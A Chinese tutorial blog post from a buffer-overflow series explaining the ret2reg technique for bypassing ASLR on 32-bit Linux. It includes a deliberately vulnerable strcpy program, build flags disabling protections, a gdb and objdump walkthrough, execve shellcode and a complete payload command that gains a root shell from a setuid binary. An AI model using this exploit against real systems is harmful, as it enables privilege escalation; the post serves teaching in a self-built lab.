使用ret2reg攻击绕过地址混淆

前面介绍的攻击方法,EIP注入的地址必须是一个确定地址,否则无法攻击成功,为了与本文介绍的攻击方法形成比对,我将前面的方法称为ret2addr(return-to-address,返回到确定地址执行的攻击方法)。


安全人员为保护免受ret2addr攻击,想到了一个办法,那就是地址混淆技术。该述语英文称为 Address Space Layout Randomization,直译为地址随机化。该技术将栈,堆和动态库空间全部随机化。在32位系统上,随机量在64M范围;而在64位系统,它的随机量在2G范围,因此原来的ret2addr技术无法攻击成功。


很快攻击者想到另一种攻击方法ret2reg,即return-to-register,返回到寄存地址执行 的攻击方法。

它的原理很简单

1) 分析和调试汇编,看溢出函返回时哪个寄存值指向溢出缓冲区空间

2)然后反编译二进制,查找call reg 或者jmp reg指令,将该指令所在的地址注入到 EIP

3)再在reg指向的空间上注入Shellcode


此攻击方法之所以能成功,是因为函数内部实现时,溢出的缓冲区地址通常会加载到某个寄存器上,在后在的运行过程中不会修改。尽管栈空间具有随机性,但该寄存器的值与缓冲区地址的关系是确定的,在随机地址之上,建立了必然的地址关系。一句话就是 在随机性上找到地址的确定性关系。


攻击准备

打开Linux的地址混淆功能:
echo 2 > /proc/sys/kernel/randomize_va_space

漏洞程序

编写如下的程序,源文件命名为stack2.c


#include   
#include   
  
void evilfunction(char *input) {  
  
    char buffer[512];  
    strcpy(buffer, input);  
}  
  
int main(int argc, char **argv) {  
  
    evilfunction(argv[1]);  
  
    return 0;  
} 


代码一目了然,有缓冲区溢出问题,不作过多解释。 


编译命令如下:


$ gcc -Wall -g -o stack2 stack2.c -z execstack -m32 -fno-stack-protector


对准EIP

还是老方法,第一步首先是对准EIP,由于buffer变量的大小是512字节,那我们的填充内容 从 512个A和BBBB开始,每次增加4个A,直到将BBBB注入到EIP。下面成功将BBBB注入EIP的结果:


$ ./stack2 $(perl -e 'printf "A"x524 . "BBBB"')

$ gdb ./stack2 core -q
Reading symbols from /home/ivan/exploit/stack2...done.
[New LWP 3979]


warning: Can't read pathname for load map: Input/output error.

Core was generated by `./stack2 AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA'.
Program terminated with signal 11, Segmentation fault.
#0  0x42424242 in ?? ()
(gdb) info registers 
eax            0xfff94ed0 -438576
ecx            0xfff96500 -432896
edx            0xfff950d8 -438056
ebx            0xf7758ff4 -143290380
esp            0xfff950e0 0xfff950e0
ebp           0x41414141 0x41414141
esi             0x0 0
edi            0x0 0
eip            0x42424242 0x42424242
eflags       0x10202 [ IF RF ]
cs              0x23 35
ss              0x2b 43
ds             0x2b 43
es             0x2b 43
fs              0x00

gs             0x6399


确定哪个寄存器与缓冲区有确定性的关系

如果你一步一步地按ret2addr攻击方法操作并攻击成功,那么你会发现此时的esp就是指向注入EIP的下一个地址。如果你能在程序中找到call esp或者jmp esp这样的指令,就可以将EIP注入该指令地址,并且在EIP后面注入shellcode,那就彻底绕过地址混淆保护方法。

可惜的是,整个程序都找到这样的指令。OK,那我们退而求其次……

认真观察一下evilfunction函数的反编译:

(gdb) disassemble evilfunction 
Dump of assembler code for function evilfunction:
   0x080483e4 <+0>:	push   %ebp
   0x080483e5 <+1>:	mov    %esp,%ebp
   0x080483e7 <+3>:	sub    $0x218,%esp
   0x080483ed <+9>:	mov    0x8(%ebp),%eax
   0x080483f0 <+12>:	mov    %eax,0x4(%esp)
   0x080483f4 <+16>:	lea    -0x208(%ebp),%eax
   0x080483fa <+22>:	mov    %eax,(%esp)  <-- strcpy的第一参数,buffer保存在eax中
   0x080483fd <+25>:	call   0x8048300 
   0x08048402 <+30>:	leave  
   0x08048403 <+31>:	ret    
End of assembler dump.



发现调用strcpy函数前,eax指向buffer地址;但是eax属于caller-save寄存器,strcpy函数是否会将它改掉呢?我们就以对准EIP生成的core文件,分析一下strcpy函数中是否更改了eax:

 生成core是,eax 值为0xfff94ed0,使用x命令查看它是否指向一块内容为AAAA的内存:

 

(gdb) x/40xw 0xfff94ed0 - 0x10

0xfff94ec0: 0xfff94ed0 0xfff962f8 0xf779353c 0x00000020

0xfff94ed0: 0x41414141 0x41414141 0x41414141 0x41414141

0xfff94ee0: 0x41414141 0x41414141 0x41414141 0x41414141

0xfff94ef0: 0x41414141 0x41414141 0x41414141 0x41414141

0xfff94f00: 0x41414141 0x41414141 0x41414141 0x41414141

0xfff94f10: 0x41414141 0x41414141 0x41414141 0x41414141

0xfff94f20: 0x41414141 0x41414141 0x41414141 0x41414141

0xfff94f30: 0x41414141 0x41414141 0x41414141 0x41414141

0xfff94f40: 0x41414141 0x41414141 0x41414141 0x41414141

0xfff94f50: 0x41414141 0x41414141 0x41414141 0x41414141


果然eax就是buffer缓冲区的地址。


查找call eax/jmp eax指令

前文提到,已将地址混淆地址打开,就算找到call eax/jmp eax指令的地址也是随机的,每次运行不确定,造成攻击不成功。

前文提到使用 echo 2 > /proc/sys/kernel/randomize_va_space 命令将地址混淆技术启用,但该技术对栈空间,堆地址和动态库加载空间都进行了混淆,唯独没有对程序做地址混淆。

事实上Linux gcc编译器提供了-fPIE选项,但用它来编译,可使程序空间做地址混淆,造成整个进程地址混淆。但一般的开源软件和商用Linux发行商的服务进程并没有使用-fPIE进行安全增加,还是留下了可利用空间。注意到, stack2在编译时没有使用-fPIE选项。

使用objdump和grep命令查看是否有与eax/esp相关的转跳指令:

$ objdump -d stack2 | grep *%eax
 80483df: ff d0                call   *%eax
 80484cb: ff d0                call   *%eax

$ objdump -d stack2 | grep *%esp


找到两条  call *%eax指令。


好,就利用0x80483df地址上的call *%eax指令,将\xdf\x83\x04\x08注入到EIP,让函数返回时,执行call *%eax,跳到缓冲区的开始地址去执行;接着我们小心翼翼地址将shellcode放到buffer开始地址即可。


因此注入内容格式如下:


ShellCode(N) + A(524-N) + \xdf\x83\x04\x08


攻击测试

在如何编写本地shellcode 中介绍了打开sh的shellcode,就使用这个shellcode进行测试。该shellcode内容:

\x31\xd2\x52\x68\x2f\x2f\x73\x68\x68\x2f\x62\x69\x6e\x89\xe3\x52\x53\x89\xe1\x31\xc0\xb0\x0b\xcd\x80


长度为25个字节,即上述注入内容格式中的N为25:


\x31\xd2\x52\x68\x2f\x2f\x73\x68\x68\x2f\x62\x69\x6e\x89\xe3\x52\x53\x89\xe1\x31\xc0\xb0\x0b\xcd\x80 + Ax499 + \xdf\x83\x04\x08


为了更方法验证攻击功,我们将stack2的owner设置为root,并带S位,让普通用户也能执行。



$ sudo chown root:root ./stack2

$ sudo chmod a+s ./stack2


最后时刻:


$ ./stack2 $(perl -e 'printf "\x31\xd2\x52\x68\x2f\x2f\x73\x68\x68\x2f\x62\x69\x6e\x89\xe3\x52\x53\x89\xe1\x31\xc0\xb0\x0b\xcd\x80" . "A"x499 ."\xdf\x83\x04\x08"')
# whoami
root


击攻成功,打开新sh,从普通用户权限提升成root.


小结


其实ret2reg方法,并不是总能攻击成功了,如果程序strcpy或者后面的代码复用了eax寄存,那eax跟buffer就没有关毛钱关系,无法建立确定性。

ret2reg方法核心是:找到寄存器与缓冲区地址的确定性关系,然后从程序中搜索call reg/jmp reg这样的指令;如果两者条件满足,则存利用空间

============= 回顾一下本系列文章 ==============
  • 缓冲区溢出攻击实践
  • 缓冲区溢出攻击原理分析
  • 初识shellcode
  • 如何编写本地shellcode
  • 编写shellcode测试工具
  • 使用ret2reg攻击绕过地址混淆
  • 使用ret2libc攻击方法绕过数据执行保护

你可能感兴趣的:(深入浅出缓冲区溢出攻击,深入浅出缓冲区溢出攻击)